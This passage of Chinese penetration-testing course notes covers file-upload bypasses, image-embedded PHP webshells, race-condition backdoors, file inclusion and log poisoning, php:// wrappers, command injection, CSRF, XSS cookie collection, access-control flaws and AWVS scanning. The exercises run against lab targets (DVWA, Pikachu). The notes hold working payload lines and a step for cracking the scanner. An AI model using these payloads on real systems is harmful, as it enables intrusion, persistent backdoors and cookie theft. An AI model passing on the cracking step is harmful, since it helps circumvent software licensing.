copy /B ai.png + test.php 图片.png(二进制模式追加) - 图片表面正常,实际尾部含 PHP 代码
- 局限:Apache 默认不解析图片中的 PHP 代码,单独上传无法利用
- 需配合文件包含漏洞(如 include.php)触发执行——钥匙有了,还要找锁孔
第 10 类:二次渲染(第 16 关)
- 系统对上传图片重新编码,打乱内容,嵌入代码被破坏(像临摹名画,密信被过滤)
- 绕过思路:010 Editor 对比原图与渲染图,找到未被修改的区域,把木马插进保留区
- 关键:精准定位不变数据区,不能盲目插入
第 11 类:条件竞争 Race Condition(第 17 关)
-
系统"先存储后删除"(unlink),中间存在毫秒级时间窗口
-
利用(双线并行):
-
线程 A:持续上传恶意 php
-
线程 B:持续访问该文件
-
命中的瞬间执行代码,用
file_put_contents()生成持久性文件(不会被删除)
-
-
实操:Burp Suite 抓上传+访问两个请求包 → 并发爆破 → 请求自动跑 5000 次(non-payload 模式)→ 响应非 404 即命中
-
注意:Windows 实时保护会拦截,需先关闭
三、后端防护逻辑拆解
1. 多层过滤(代码层)
| 措施 | 目的 |
|---|---|
| 删除文件名末尾的点 | 防 file.php.(Windows 忽略最后的点) |
| 用点分割文件名 | 分离后缀 |
| 后缀转小写 | 防大小写绕过 |
| 去特殊字符和尾部空格 | 防 php、php: 等变种 |
| 黑名单数组 | 最终后缀命中即报错 |
2. 字符过滤
- 文件内容含 “php” 字符会被自动替换 → 无法作为 PHP 执行
- 绕过思路:
@eval()字符串形式执行
3. 黑名单 vs 白名单
- 黑名单容易遗漏(忘记 .php3/.php5 等变种)
- 白名单更严格可靠:只放行明确允许的类型
- 流程:移动文件 → 白名单校验
4. 先存储后删除(unlink)
- 存储 → 检测 → 删除链条
- 缺陷:引发条件竞争
四、实操技巧与工具
1. Burp Suite 用法
- 抓包改后缀名、改 Content-Type、加 GIF89a 头
- 并发爆破实现条件竞争
2. 查看十六进制
- 010 Editor:专业但收费(试用 1 个月)
- VS Code + Hex Editor 插件:免费替代
3. 上传测试小技巧
- 上传
test.php后把 Content-Type 改成image/png,能被解析即上传成功 - 用
phpinfo()验证:能显示 PHP 信息 = 上传成功且被解析 - phpinfo 暴露:根目录绝对路径、脚本位置、PHP 版本、系统版本
4. 环境与排错
- 操作前先关闭本地 PHP 环境(phpStudy)避免端口冲突
- 清空上传文件夹可能误删整个 upload 目录 → 新建同名 upload 文件夹即可
- 上传后文件名被系统修改(如 user.ini → .txt)→ 抓包分析请求数据找原因
- 修改 php.ini:找到对应版本配置文件 → 去分号启用 → 重启服务 → phpinfo 验证
5. 远程连接工具流程
初始化(选目录)→ 右键添加数据(配访问路径)→ 通过参数名传递指令 → 连接后可查看目录、虚拟终端操作主机
6. 安全警示
- 目录穿越:只打一个网站却能看整个服务器 C/D 盘 → 权限隔离很重要
- 测试仅限合法授权范围
- 不懂的函数查 PHP 官方文档,晦涩可复制给 AI 解释
五、考点速记(张老师原话要点)
- “上传成功 ≠ 攻击成功,关键是文件能否被服务器按代码解析”
- “仅靠前端校验等于没有校验”
- “Content-Type 只是声明,set header 才决定解析”
- “有没有 php3/php5 的 MIME 配置,直接决定攻击能否成功”
- “AllowOverride 是 None 还是 All,决定 .htaccess 是否生效”
- “user.ini 生效必须 php-fpm 模式”
- “魔术数是文件的身份证号,改护照封面不能改变国籍”
- “图片马是钥匙,文件包含漏洞是锁孔,缺一不可”
- “二次渲染像临摹名画,密信会被过滤掉”
- “条件竞争要掐准毫秒级时间差,原文件删除前让它跑一次,留下持久后门”
第十天
一、文件上传与文件包含漏洞
1. 文件上传漏洞(图片马)
- 上传的图片马(图片中含 PHP 代码)要被执行,必须配合文件包含漏洞
- 即使把 PHP 文件改成 jpg/png 后缀,在存在文件包含漏洞的环境下,系统仍会将其作为 PHP 代码执行
- 判断:PHP 代码会被自动执行的前提是目标页面有包含点(include 函数使用位置),没有包含点图片马就失效
2. 文件包含漏洞原理
- 页面通过接收用户传入的
file参数决定包含哪个文件 - 正常:只允许包含 file1/file2/file3 预设文件
- 漏洞:直接把用户输入拼接到包含函数 → 可包含任意路径(如
../../etc/passwd) - 核心:包含操作必须严格限制目录范围
$file = $_GET['file'];
include($file); // 漏洞代码
3. 目录遍历
- 相对路径/绝对路径都可用;上一级用
../ - 渗透测试中目录结构靠经验猜测(如 upload 目录、logs 目录)
- DVWA 演示:可包含同级目录下的 f4 文件、创建 phpinfo 文件
4. 四个包含函数区别
| 函数 | 失败行为 | 重复包含 |
|---|---|---|
include | 警告,后续代码继续执行 | 重复包含(包含4次输出4次) |
require | 致命错误,脚本停止执行 | 重复包含 |
include_once | 警告,继续执行 | 仅包含一次 |
require_once | 致命错误,停止 | 仅包含一次 |
演示重点:include 包含不存在的文件报错后,下面那句"执行结束"依然能输出;require 则直接终止。
5. 本地文件包含(LFI)vs 远程文件包含(RFI)
- LFI:包含服务器本地文件
- RFI:包含远程服务器上的文件(如 192.168.50.1 包含 192.168.50.158 上 nginx 的 test.php)
- 路径写法:本地直接写路径;远程需要
http://协议指定 - RFI 需开启:
allow_url_include = On和allow_url_fopen = On
二、日志文件包含攻击
1. 原理
- 构造恶意请求(如访问
?<?php phpinfo();?>),服务器把请求记录进日志 - 利用文件包含漏洞包含日志文件
- 日志中的 PHP 代码被解析执行(代码不要求后缀,只要含
<?php ?>标签就会执行)
2. 日志位置
| 环境 | 路径 |
|---|---|
| Apache(Linux) | /var/log/apache/access.log |
| phpstudy 的 Nginx | extensions/nginx/logs/access.log 和 error.log |
access.log:记录所有成功请求(时间、客户端信息、URL)error.log:记录报错信息(如?php phpinfo异常请求)- 服务器默认有固定日志路径,除非管理员修改
3. 关键细节
- 日志中特殊字符被自动 URL 编码(
<→%3C),影响 PHP 执行 - 解法:用 Burp Suite(Go)等抓包工具发送原始请求,绕过浏览器自动编码
- 利用前提:猜中日志文件的具体路径,否则日志无价值
三、PHP 伪协议
3.1 php://filter — 读源码不执行
php://filter/read=convert.base64-encode/resource=文件名.php
- 读取 PHP 文件时经 Base64 编码输出,不会被解析执行
- 在线 Base64 解码即可还原源码
- 用途:查看 phpinfo 等 PHP 文件源代码、安全审计
2. php://input — 执行请求体代码
- 只读输入流,读取 HTTP 请求体(不是表单数据)
- 配合文件包含:请求体里写
system()等 PHP 代码,服务端直接执行 - 注意:即使请求体原本为空,通过 php://input 仍能读取后续手动添加的内容
3. 其他伪协议
php://output:只写输出流zip://:压缩包文件访问(高级课会用到)- 伪协议 = 封装器,决定数据的来源和去向(类似快递单);网络传输底层是二进制字节 → 电信号/无线电波
4. HTTP 请求结构(配合 php://input 利用)
请求行
参数部分
空行
请求体(可写入 PHP 代码)
Burp Suite 演示:抓包 → 文件包含参数改成
php://input→ 请求体写phpinfo();→ 直接执行
四、命令执行与代码执行
1. 命令拼接符号(Windows/Linux 通用)
| 符号 | 含义 | 示例 |
|---|---|---|
&& | 前一条成功才执行后一条 | ping 192.168.50.1 && whoami |
\|\| | 前一条失败才执行后一条 | 错误命令 \|\| echo “会执行” |
; | 无条件顺序执行 | ping 192.168.50.1 ; ip a |
\| | 管道:左边输出作为右边输入 | echo 127.0.0.1 \| ping |
> / >> | 重定向写入 / 追加 | echo 6666 > 1.txt |
` 或 $() | 命令替换 | echo `ipconfig` |
- Linux 常用:
ping -c 3控制 ping 次数 - 跨平台注意:Windows
ipconfig↔ Linuxifconfig/ip a
4.2 命令执行函数 vs 代码执行函数
| 类型 | 函数 | 说明 |
|---|---|---|
| 系统命令执行 | system() | 执行并输出 |
shell_exec() | 不自动输出,需 echo 配合 | |
exec() / passthru() | 其他命令执行函数 | |
| 代码执行 | eval() | 执行 PHP 代码,必须符合语法(分号结尾) |
?code=system("whoami"); // eval 中执行成功
?code=system("whoami") // 缺分号 → 报错
- 查全 PHP 代码执行函数:搜索"PHP 代码执行函数"
- DVWA 中查看源码路径:
phpstudy_pro/WWW/dvwa,访问192.168.50.1:81/dvwa
3. DVWA 命令注入关卡(刻意留漏洞)
- 低关:少黑名单函数(如 shell_exec 没被过滤)
- 中关:封禁
&&但保留单&;封禁部分符号 - 高关:放开
||等 - Impossible 等级 = 最佳防御参考
五、回调函数与绕过
1. 回调函数本质
- 把一个函数作为参数传给另一个函数,需要时再调用
- 传入的是函数对象(不是执行结果),其余参数透传
call_user_func("system", "whoami");
// 参数1 = 回调函数名,参数2 = 透传给回调函数的实参
2. 绕过被禁用的函数
system()被禁用 → 用call_user_func("system","命令")间接调用- 结合 eval 与 GET 双参数传递:
?code=call_user_func($func,"whoami")&func=system
3. GET 多参数传递
- URL:
?参数名1=值1&参数名2=值2 - 参数名和值要正确对应,连接符
&不能错
4. 调试技巧
echo $get; // 数组只显示 "Array"
var_dump($get); // 完整显示数组内容
- 变量名可任意替换(如
system换成$get),不影响底层执行逻辑
5. preg_replace 的 /e 模式
preg_replace本身是正则替换函数- 漏洞:正则模式出现反斜杠 E(
/e)修饰符时,第二个参数被当作 PHP 代码执行 - 危险点:不能直接传源码,通常作回调函数使用
六、CSRF 跨站请求伪造
1. 原理(淘宝例子)
用户已登录淘宝(有效会话)
攻击者构造恶意链接 test.com,诱骗用户点击
浏览器自动携带淘宝登录凭证(Cookie)
以用户身份偷偷完成操作(转账/改密码)
- 攻击者不需要知道密码,利用浏览器自动携带的登录凭证
- 前提:受害者必须已登录目标网站,否则攻击无效
2. 关键演示(DVWA 修改密码)
- 修改密码 URL 会暴露新密码参数(
password_new=...) - 但未登录用户直接改参数无效(跳转登录页)→ 会话验证保护
- 已登录用户能改成功是因为拥有修改权限——CSRF 本质是权限滥用,不是系统漏洞本身
3. XSS 窃取 Cookie(皮卡丘)
- 皮卡丘自带 Cookie 收集后台:
192.168.50.1/pikachu/pkxs - 浏览器访问该后台会自动携带当前站点 Cookie → 被收集
- JS 跳转用法:
document.location = 'http://www.baidu.com'(document 前缀可省略)
七、越权漏洞
1. 水平越权(同级)
- 例:lucy 登录后修改 URL 中
username参数为 lily → 越权查看他人信息 - 原因:仅依赖前端传参验证身份,后端无二次校验
- 防护:必须前后端双重验证
2. 垂直越权(跨权限级)
- 例:普通用户"皮卡丘"(密码000000/123456)直接访问创建用户的 URL → 成功创建用户
- 管理员比普通用户多的权限:删除用户、添加用户等
- 原因:后端接口未做权限级别校验
- 测试方法:管理员抓包 → 切普通用户登录 → 对比身份标识字段 → 重放测试
3. Session 与越权
- Session 标识用户身份
- 演示:把管理员 Session 换成普通用户 Session 后添加用户依然成功 → 权限验证失效
- 类比:拿着普通员工工牌却进了总经理办公室(门禁系统失效)
八、漏洞扫描工具(AWVS)
1. 工具认知
- Web 漏洞扫描工具基本收费且昂贵(AppScan、AWVS 等)
- 分 Web 漏洞扫描 和 系统漏洞扫描 两类,安全服务工程师需掌握
- AWVS 默认端口 3443
2. 使用流程
安装(正版需付费密钥,密码要牢记)→ 登录(邮箱+密码)
→ 语言切换中文 → 填写用户信息
→ 仪表盘:新建扫描 → 添加目标 URL → 开始扫描
→ 查看漏洞详情 → 导出报告
- 添加目标需完整地址:
http://IP:端口(如 DVWA 是 81 端口) - 登录认证两种方式:直接填 URL+账号密码 / 录制登录脚本
- 扫描范围可选全站或特定目录;业务关键性、并发性可调(如"适度")
- 快速扫描模式也能发现高危漏洞
- 浏览器兼容:Edge/火狐可能不行,用谷歌浏览器
- 破解:关闭程序 → 同目录 .bat 文件以管理员身份运行 → 等待完成
3. 报告处理(重要)
- 仪表盘实时显示进度:请求数、漏洞数、漏洞等级(中危/高危)
- 自动生成的报告不能直接使用:
- 需人工逐一验证漏洞、排除误报
- 根据受众调整:总经理看漏洞截图+风险等级;开发人员看源码问题分析+修复方案
- 报告默认纯英文
- 未授权扫描他人网站属违法行为(警告:不要抱有侥幸心理)
4. 工具局限
- 无法处理需要登录认证的页面(DVWA 扫不了内部页面)
- 扫描动作本身可能触发安全警报
- 靶场(皮卡丘)通常能扫出一堆高危漏洞,但正常网站结果可能"不对劲"
九、补充知识点
1. URL 编码
- 百分号 + ASCII 码:
<→%3C、>→%3E、空格 →%20 - 浏览器 GET 请求自动编码;抓包工具可绕过
2. 数据流与传输
- IO 流 = 数据持续传输的通道
- 数据:字符 → 二进制字节 → 电信号(网线)/ 无线电波(无线)
- 传输介质决定信号类型
3. 日志与包含
- 普通文本在 include 中无法识别执行,必须
<?php ?>标签 - include 立即执行 PHP 代码;服务器默认把 .php 交给解析器
4. PHP 版本差异
- 不同 PHP 版本对安全漏洞影响不同(演示环境 PHP 7.3.4)
- 配置参数注意大小写:
allow_url_include值用大写的ON;Nginx 参数 off→on 保存后必须重启服务
转载自 CSDN-专业IT技术社区
原文链接:https://blog.csdn.net/2401_87256920/article/details/163397090



